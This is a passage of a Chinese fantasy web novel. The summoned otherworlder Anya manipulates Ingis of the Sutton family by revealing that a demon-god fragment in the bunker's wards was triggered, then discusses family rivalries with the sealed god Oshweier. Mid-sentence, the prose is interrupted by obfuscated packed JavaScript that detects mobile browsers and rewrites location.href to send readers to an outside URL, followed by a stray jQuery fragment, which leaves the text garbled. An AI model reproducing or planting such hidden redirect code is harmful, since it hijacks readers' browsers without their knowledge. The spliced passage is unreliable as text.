这个世界早就被异世者们穿成了筛子。
但这并不意味着,异世者能在这里公然过市,哪怕是在萨顿家族的势力范围内,被他们招揽的异世者不计其数,但萨顿也不敢把一切摆到台面上。
一旦被认出来,异世者们的结局都不容乐观。
所以,安雅一直把自己的身份瞒得死死的,用一层又一层的迷雾扰乱那些试图探查她过往的人的思路。
但是,那些遮掩的手段,对于亲自将她召唤到这里的萨顿家族而言,没有任何意义。
这也是安雅一直以来最无法释怀的问题。
她知道自己迟早要面对与萨顿家族的对立,到那时,对方一定会挑明她的身份,让她在这个世界成为公敌。
那样的局面不是安雅想看到的。
所以,这次有机会在学院的许可下回到帕恩镇,安雅欣然应下了帕玛的任务。
一开始,她的想法和奥什维尔差不多——既然没法在她与萨顿家族的关系上自圆其说,那不如把这个障碍直接抹了。
但临行前,德里克让她见到了尤莉卡。
安雅震惊之余,也有了更稳妥的对策。
既然被挑明身份对她来说是个巨大的威胁,那么反过来说,如果在公众面前证明,她就来自这个这个世界,那么今后,她的身份就能藏得更深了。
在帕恩镇,能搭起这个舞台,让她实现愿望的,恰恰就是萨顿家族。
英吉斯还在等着自己的回答,安雅收回思绪,朝对方露出一个无奈的笑容。
“您心里早就有了答案,还要听我说出来,不会更难受吗?”
“安尼娅,回答我的问题!”
英吉斯的气场变得凛冽,但膝上那双紧握成拳的手,还是暴露了内心的情绪。
“是安雅,”安雅将自己名字的正确发音缓慢而清晰地念了一遍,“英吉斯女士,至少,对于您和杰拉尔先生,我坦诚的程度是一样。”
英吉斯的脸色有些灰败。
她咬紧牙关,冷冷笑着,重复了一遍:“安·雅。”
安雅朝她伸出了手:“虽然场合比较微妙,但这应该是我们的正式认识。”
英吉斯低头盯了一会儿被褥上用丝线绣成的暗花,站了起来。
“安雅,你最好有心理准备。”她背过身朝门口走去,“莫斯托的人被栽赃陷害,不会善罢甘休,而且……马维尔教授的遗体事关重大,不从你嘴里撬出点东西,父亲不会作罢的。”
“地堡的防御设施,是您的手笔。”安雅并没有因为即将面临的局面而担惊受怕,而是转了个话题,“很厉害,那应该是您强项。”
英吉斯的脚步停了下来。
她回过头,脸上的表情分不出喜怒。
“你想说什么?‘尽管那些禁制很厉害,但我还是突破了,从萨顿家最严密的所在带走了马维尔的遗体’,你是要跟我炫耀吗?”
安雅掩着嘴轻声笑起来。
“看来地堡被攻陷,对您的打击不小。但是女士,我是真心的——正因为我突破了禁制,才能深刻体会到,要击溃那些防御,是多么困难……哦,不,不对,其实我并没能彻底摧毁那里的禁制,在地堡的最下层——”
一只手掐住了她的脖子。
英吉斯脸上淡漠的面具终于出现了裂痕。
“……你想说什么?”
安雅闭上眼,任凭肺中的空气被挤压。
她蹙起眉头,显出痛苦的神情。
英吉斯低声咒骂着,还是松开了手。
安雅倒回半立的枕头上,一边咳嗽,一边笑着。
“我这样的人,为何会被召唤到这个世界,女士您不是很清楚吗?”
英吉斯面露惊骇:“你知道……”
“我能感知到。”安雅纠正了一下她的说法,“我能,感知到,魔神的碎片。”
英吉斯的身形有些踉跄。
她不想继续失态,只好竭力稳住身体,重新在床边坐了下来。
“……说下去。”
安雅却又像是没了兴致:“其实也没什么……无非就是,地堡的底层,所有防御禁制的法阵汇聚之处,那里供能源泉,就是……魔神的碎片吧。”
她忍住了情绪,没将恨意表露出来。
英吉斯目光变得热切:“你真的能感知到!?那是我机缘巧合下——”
她也滞了声,警惕地望着安雅。
“我对您如何得到它并不感兴趣,事实上,您布下的法阵非常精妙,那么多层结界和禁制,完全遮盖了魔神的气息,只是……那时候,它被触发了。”
“触发!?”
英吉斯急促地重复了一遍那个重要的字眼。
作为地堡防御设施的设计者和布设者,她太清楚法阵的供能源头了。
尽管地堡被摧毁大半,上层的研究成果和实验囚犯损失惨重,但那些更多是杰拉尔的心血,英吉斯并不那么在意。
她真正关心的法阵群没有出事。
事实上,这个强大的供能源泉就是魔神碎片,这件事英吉斯没有告诉任何人。
强大的能量源泉,能让防御结界的威力大增,也让她因此收获了父亲和家族长老们的称赞。
但如果她将源泉的真面目坦白,那么东西,就不再属于她了。
想要对那枚灵魂碎片有更深的了解,需要时间,而只要碎片作为能量源泉藏在法阵群中,英吉斯就有了时间。
地堡的摧毁对灵魂碎片来说根本没有影响,它依然稳定地提供着能量,仿佛任何事物都不会让它有改变。
可是安雅现在告诉她,碎片被触发了。
它对什么东西起了反应。
这个信息让英吉斯兴奋得颤抖。
能让魔神的灵魂碎片异动,那很可能是因为,附近出现了第二块碎片!
或者,至少是与魔神有关的东西。
当然,这件事首先需要求证。
英吉斯又绷起了脸:“我会去查证你说的话,希望你不是在骗我。”
安雅笑容不变,安静地望着她:“如果证实了我的话,希望您能记得,此刻我展现的善意。”
英吉斯垂下眼,低低地“嗯”了一声,又一次起身走了。
她的脚步很快,几乎要跑起来。
房门开了又关。
【……你说的,跟魔神有关、能让那碎片起反应的,就是你自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574083|204652||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吧?】
奥什维尔后知后觉地高兴起来:【雅雅,你真厉害。】
顿了顿,祂又有些疑惑:【看起来,那女人开始相信你了。真奇怪,她看着很理智,很冷静,但实际上很好忽悠。】
安雅闭上眼,在意识海中蹭了蹭奥什维尔那团庞大的意念。
算起来,魔神在世界上存在的时间,还是比她要多几年的。
但是祂常年被封印着,没有正常的成长环境,绝大部分的认知都是靠和安雅共享记忆和感受,还要注意回避安雅的隐私,祂的心性其实很单纯。
要这么一个强大又无知的“孩子”,去理解体会英吉斯的不甘和惆怅,对奥什维尔来说,实在有些超纲。
“你知道,刚才她问我的问题意味着什么吗?”
【问题?哪个?】奥什维尔回忆了一下,想起了这场谈话走向疯狂的开端,【哦……她问你,安德烈·萨顿对杰拉尔对你做的事知不知情。】
“对。”安雅半躺着,找到一个舒服的姿势,蜷起了腿,“她是个有野心的人,对下任家主的位置虎视眈眈,却被迫承认,父亲的心是偏的。”
【噢!所以你提醒她这一点,她就会跟安德烈产生嫌隙,从内部分裂他们!】
奥什维尔听懂了,但没有对英吉斯升起半分同情。
祂淡漠地下了结论:【可是,就萨顿家族的话事人这个位置来说,本来就是杰拉尔比他更适合。】
“是啊,”安雅认同祂的说法,“恐怕,英吉斯自己也很清楚吧。但是知道事实,和接受事实,中间的鸿沟有时候可是不可逾越的呢。”
作为玛丽安的那段日子,安雅仔细观察过萨顿家核心成员的关系。
杰拉尔以为她的记忆真的被封印了,很多事情都没想过要避着她,这给了安雅很多机会。
她可以跟着利斯塔·弗尔森去往各个房间打扫,也可以在跟随狩猎队伍出行时,听他们谈论雇主的八卦,闲暇时,她还能去镇上的图书馆。
她很快把萨顿父子女三人的情况摸了个大概。
英吉斯是安德烈的长女,比杰拉尔年长将近十岁。
在杰拉尔出生之前,不管是家族成员还是宅邸中的佣人,都认为英吉斯会是下一任家主,安德烈也早早就开始有意识地培养她。
可意外还是出现了。
高龄产下幼子后,萨顿夫人耗尽了生命,连儿子的脸都没看到。
所以,尽管姐弟两人同父同母,英吉斯对幼弟的态度一直十分冷淡——他不仅夺走了父亲的重视,更是让母亲丧命。
但命运就是那么不公平。
杰拉尔是个幸运的孩子,萨顿夫人不仅用自己的命换来了他的降生,还将自己的魔法天赋遗传给了他。
这个世界的遗传规律与安雅熟知的不太一样,但母体的天赋有概率被孩子……掠夺,这件事她深有体会。
萨顿家族以炼金术出名,火系和金系体质,是最适合研习炼金术的。
杰拉尔就是一个火系。
和水木双系的长姐相比,他的魔法进境很快,这一点也让安德烈心里的天平又一次倾斜。
对于已经懂事的英吉斯来说,这无异于晴天霹雳。